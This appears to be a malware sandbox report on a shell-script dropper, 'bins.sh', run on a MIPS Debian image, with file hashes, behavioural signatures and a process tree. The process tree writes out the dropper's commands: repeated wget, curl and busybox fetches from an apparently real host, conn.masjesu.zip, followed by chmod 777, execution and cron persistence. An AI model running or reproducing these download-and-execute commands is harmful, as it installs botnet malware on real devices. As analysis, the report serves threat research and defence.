Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 22:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d5c5d061c5471db486b0d427d74621e8

  • SHA1

    14a8cd7d50cfb2d46c090c57d70e2d2d7c7fe4ba

  • SHA256

    e5d52b1198eabbd3838ed480ae2c5dbc3e0fc0324f571acef8ca05b010c1868f

  • SHA512

    c22dcb8405e7b8bd168bcca162db49a29b0c4972dfdba8a0b1cab8d92ab55c6a5c63ab6682996a30f5dee5aad803c80f1e6e8930cc114c7859a17f413abb7d64

  • SSDEEP

    96:Ys1sVs9UttaUYMLlFDeCeaeY9pPrH9PjTLn7zcLaUaYaKRZMq9q9qLQ1Mgcd+u9T:hi6zrY9ppAnGzzrY9p7

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1870) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 17 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:768
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:779
            • /bin/chmod
              chmod 777 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              ./dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Executes dropped EXE
              PID:787
            • /bin/rm
              rm dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
                PID:791
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:793
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:810
              • /bin/chmod
                chmod 777 j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • File and Directory Permissions Modification
                PID:811
              • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                ./j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:812
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:814
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:815
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:816
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:817
                    • /bin/rm
                      rm j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                      2⤵
                        PID:819
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • System Network Configuration Discovery
                        PID:822
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • System Network Configuration Discovery
                        PID:900
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • System Network Configuration Discovery
                        PID:916
                      • /bin/chmod
                        chmod 777 xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • File and Directory Permissions Modification
                        PID:921
                      • /tmp/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        ./xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                          PID:922
                        • /bin/rm
                          rm xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                          2⤵
                            PID:923
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                            • System Network Configuration Discovery
                            PID:924
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                            • System Network Configuration Discovery
                            PID:925

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /var/spool/cron/crontabs/tmp.vb0c1o

                          Filesize

                          210B

                          MD5

                          5d9f1bc81cda6a68f6a8edf5b09e3073

                          SHA1

                          9cd2b0c38063972048c3c3f9271547696e5edf3a

                          SHA256

                          8b4a7bc141407b833d91ed499206d9201767afe7386b5fdf84adc7c4ebf9f98d

                          SHA512

                          a2544b84ddda862e19f6afa3f5d080d19ac8e1057b77a71afba2bcf63d55d5b3666bdc0684e7b2653f20381707802a000f55469cf5b944d2847dc6c0980865f3